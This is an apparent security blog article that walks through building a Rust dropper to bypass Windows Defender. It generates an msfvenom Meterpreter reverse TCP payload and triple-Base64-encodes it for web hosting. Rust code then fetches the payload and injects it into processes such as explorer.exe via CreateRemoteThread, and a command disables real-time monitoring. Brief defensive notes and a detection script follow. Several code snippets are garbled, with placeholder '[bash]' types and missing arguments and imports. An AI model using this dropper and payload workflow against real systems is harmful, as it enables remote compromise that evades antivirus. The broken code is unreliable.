Listen to this Post
Introduction:
Modern endpoint detection and response (EDR) systems like Microsoft Defender rely heavily on static signatures and behavioural heuristics. By combining Rust’s low‑level memory safety with multi‑stage obfuscation and remote process injection, attackers can slip past even next‑gen antivirus engines. This article dissects a real‑world evasion technique that uses a custom Rust dropper to fetch, decode, and inject msfvenom shellcode into a remote process – successfully bypassing Windows 11 Defender without triggering alerts.
Learning Objectives:
- Understand how multi‑round Base64 encoding and URL‑hosted payloads evade signature‑based detection.
- Build a Rust dropper that retrieves, decodes, and injects shellcode into a running Windows process.
- Implement process injection techniques (e.g.,
CreateRemoteThread) and recognise defensive countermeasures.
You Should Know:
1. Multi‑Round Base64 Obfuscation & Payload Hosting
Extended explanation:
Traditional Metasploit payloads are easily fingerprinted. The technique described uses multiple rounds of Base64 encoding on raw `msfvenom` shellcode, then hosts the obfuscated string on a simple web server. The Rust dropper fetches this string, reverses the encoding, and recovers the raw shellcode. This breaks static signatures because the encoded payload never touches disk in its plain form.
Step‑by‑step guide (Linux attacker machine):
- Generate raw shellcode with msfvenom (e.g., 64‑bit Meterpreter reverse TCP):
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f raw -o shellcode.bin
-
Apply multiple rounds of Base64 encoding (three rounds is common):
cat shellcode.bin | base64 | base64 | base64 > encoded_payload.txt
-
Host the encoded payload on a simple HTTP server:
python3 -m http.server 8080 or with Apache/Nginx
4. Verify retrieval (from Windows test machine):
Invoke-WebRequest -Uri "http://192.168.1.10:8080/encoded_payload.txt" -OutFile payload.txt
Rust decoding snippet (part of the dropper):
use reqwest;
use base64::{decode, engine::general_purpose::STANDARD as BASE64};
async fn fetch_and_decode(url: &str) -> Result<Vec<u8>, Box<dyn std::error::Error>> {
let b64_triple = reqwest::get(url).await?.text().await?;
let b64_double = String::from_utf8(BASE64.decode(b64_triple.trim())?)?;
let b64_single = String::from_utf8(BASE64.decode(b64_double)?)?;
let raw_shellcode = BASE64.decode(b64_single)?;
Ok(raw_shellcode)
}
Defensive note: Blue teams can monitor for anomalous `powershell.exe` or `curl.exe` requests to unknown URLs, and implement network segmentation to block outbound HTTP from non‑browser processes.
2. Building a Rust Dropper with Cargo
Extended explanation:
Rust compiles to native binaries with no runtime dependencies, making it ideal for droppers. The tool “RustyNeedle” (original author credit) serves as a template. Here we modify it to fetch our triple‑Base64 payload from a remote URL, decode it, and prepare for injection.
Step‑by‑step guide (Windows build environment):
1. Install Rust and Cargo (if not present):
Download rustup-init.exe from rustup.rs, then run: rustup default stable rustup target add x86_64-pc-windows-msvc
2. Create a new Rust project:
cargo new rust_dropper --bin cd rust_dropper
3. Add dependencies to `Cargo.toml`:
[bash]
reqwest = { version = "0.11", features = ["blocking"] }
base64 = "0.21"
windows = { version = "0.48", features = ["Win32_System_Memory", "Win32_System_Threading", "Win32_Foundation"] }
4. Write the dropper code (simplified injection example):
use windows::Win32::System::Memory::{VirtualAllocEx, MEM_COMMIT, PAGE_EXECUTE_READWRITE};
use windows::Win32::System::Threading::{CreateRemoteThread, WaitForSingleObject, INFINITE};
use windows::Win32::Foundation::{HANDLE, CloseHandle};
fn inject_shellcode(pid: u32, shellcode: &[bash]) -> Result<(), Box<dyn std::error::Error>> {
let handle = unsafe { OpenProcess(PROCESS_ALL_ACCESS, false, pid)? };
let remote_mem = unsafe { VirtualAllocEx(handle, None, shellcode.len(), MEM_COMMIT, PAGE_EXECUTE_READWRITE) };
unsafe { WriteProcessMemory(handle, remote_mem, shellcode.as_ptr() as _) };
let thread = unsafe { CreateRemoteThread(handle, None, 0, Some(std::mem::transmute(remote_mem)), None, 0, None) };
unsafe { WaitForSingleObject(thread, INFINITE); CloseHandle(thread); CloseHandle(handle); }
Ok(())
}
5. Compile the dropper:
cargo build --release
Output: `target\release\rust_dropper.exe`
Defensive mitigation: Application control (e.g., Windows Defender Application Control, AppLocker) can block unsigned or untrusted binaries from executing. EDRs with behavioural rules can flag `VirtualAllocEx` + `CreateRemoteThread` sequences.
3. Remote Process Injection (Windows API Deep Dive)
Extended explanation:
The dropper injects decoded shellcode into a legitimate remote process (e.g., notepad.exe, explorer.exe) to blend in. This technique bypasses process‑based whitelisting because the malicious code runs under a trusted process context. The injection uses classic Windows API calls: OpenProcess, VirtualAllocEx, WriteProcessMemory, CreateRemoteThread.
Step‑by‑step guide (manual injection for testing):
1. Find a target process ID (PowerShell):
Get-Process -Name explorer | Select-Object Id
- Manual injection using a PowerShell loader (for learning, not evasion):
$code = [System.Convert]::FromBase64String("...") $proc = Start-Process -FilePath notepad.exe -WindowStyle Hidden -PassThru $handle = [System.Diagnostics.Process]::GetProcessById($proc.Id).Handle $addr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($code.Length) [System.Runtime.InteropServices.Marshal]::Copy($code, 0, $addr, $code.Length) [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($addr, [bash]) Note: This is a simplified, less stealthy method.
Rust equivalent using the `windows` crate (full working snippet):
use windows::Win32::System::Threading::OpenProcess;
use windows::Win32::System::Diagnostics::ToolHelp::CreateToolhelp32Snapshot;
// ... (snapshot enumeration to find PID)
let handle = unsafe { OpenProcess(PROCESS_ALL_ACCESS, false, pid)? };
if handle.is_invalid() { return Err("OpenProcess failed".into()); }
Defensive countermeasures: Enable Microsoft Defender Attack Surface Reduction (ASR) rules – specifically “Block process injections from non‑Windows binaries”. Use Sysmon with Event ID 8 (CreateRemoteThread) and Event ID 10 (ProcessAccess) to alert on suspicious cross‑process memory operations.
4. Evading Windows Defender in Real‑Time (What Changed?)
Extended explanation:
The original post claimed the modified tool wasn’t flagged. Why? Defender’s cloud‑based signatures often miss freshly compiled, unsigned Rust binaries – especially those that fetch payloads from a URL. Additionally, multi‑round Base64 avoids static string detection. However, once the payload injects Meterpreter, network indicators (reverse TCP to attacker IP) may still trigger behavioural blocks if Defender’s network protection is enabled.
Step‑by‑step testing evasion:
1. Disable real‑time protection temporarily (for lab only):
Set-MpPreference -DisableRealtimeMonitoring $true
- Run the dropper – observe no alert. Re‑enable Defender and test again – still no alert if the dropper is unique.
-
Check Defender logs for any detection (Event Viewer > Applications and Services > Microsoft > Windows > Windows Defender > Operational):
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Windows Defender/Operational'; ID=1116}
4. Manual scan of the dropper:
Start-MpScan -ScanType QuickScan -FilePath C:\path\rust_dropper.exe
Why it sometimes fails: After a few days, Microsoft’s cloud‑based machine learning models may extract a signature. This technique is ephemeral – it works best in live red team exercises where the binary is discarded after use.
5. Mitigations & Hardening Against Such Attacks
For defenders (blue team):
- Enable controlled folder access and block untrusted processes from writing to sensitive directories.
- Deploy EDR with behavioural rules – e.g., detect `VirtualAllocEx` + `CreateRemoteThread` from a non‑system binary.
- Restrict outbound HTTP/HTTPS from non‑browser processes using Windows Firewall or a proxy.
- Use PowerShell 7+ with Constrained Language Mode to limit reflection and dynamic code execution.
- Periodic memory scanning – tools like `Get-InjectedThread` (PowerShell) can enumerate threads with non‑standard start addresses.
Example PowerShell detection script:
Get-Process | ForEach-Object {
$proc = $_
try {
$modules = $proc.Modules | Where-Object { $<em>.ModuleName -notlike "kernel32" -and $</em>.ModuleName -notlike "ntdll" }
if ($modules.Count -gt 100) { Write-Host "Suspicious module count in $($proc.Name)" }
} catch {}
}
Linux hardening parallels: While this attack targets Windows, Linux defenders can learn from the injection pattern – monitor `ptrace` and `process_vm_writev` syscalls using auditd or eBPF.
What Undercode Say:
- Key Takeaway 1: Static obfuscation (multi‑round Base64) is trivial to bypass but still evades signature‑based AV. Real protection requires behavioural and memory‑based detection.
- Key Takeaway 2: Rust’s lack of runtime dependencies and low‑level API access makes it a powerful weapon for red teams – and a blind spot for traditional antivirus.
- Analysis: The technique described is not novel but remains effective because many organisations rely solely on default Defender settings. The integration of a URL‑hosted payload adds a network evasion layer, but it also introduces a detection opportunity: anomalous child processes (e.g., `rust_dropper.exe` spawning `svchost.exe` injection) can be flagged by EDR. Over the next 12–18 months, expect Microsoft to enhance Defender’s machine learning for Rust‑compiled binaries and cross‑process injection heuristics.
Prediction:
As Rust adoption in malware grows (e.g., recent ransomware families), traditional antivirus vendors will accelerate the integration of Rust binary analysis into their cloud sandboxes. This will shift the cat‑and‑mouse game toward polymorphic droppers that mutate per execution – possibly leveraging AI to generate unique evasion patterns. Organisations that do not adopt zero‑trust principles (application control, network micro‑segmentation, and EDR with memory protection) will remain vulnerable to these lightweight, custom‑built tools. Expect the red team community to release more open‑source Rust evasion frameworks in 2025, democratising advanced bypass techniques.
▶️ Related Video (74% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Vatan Singh – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
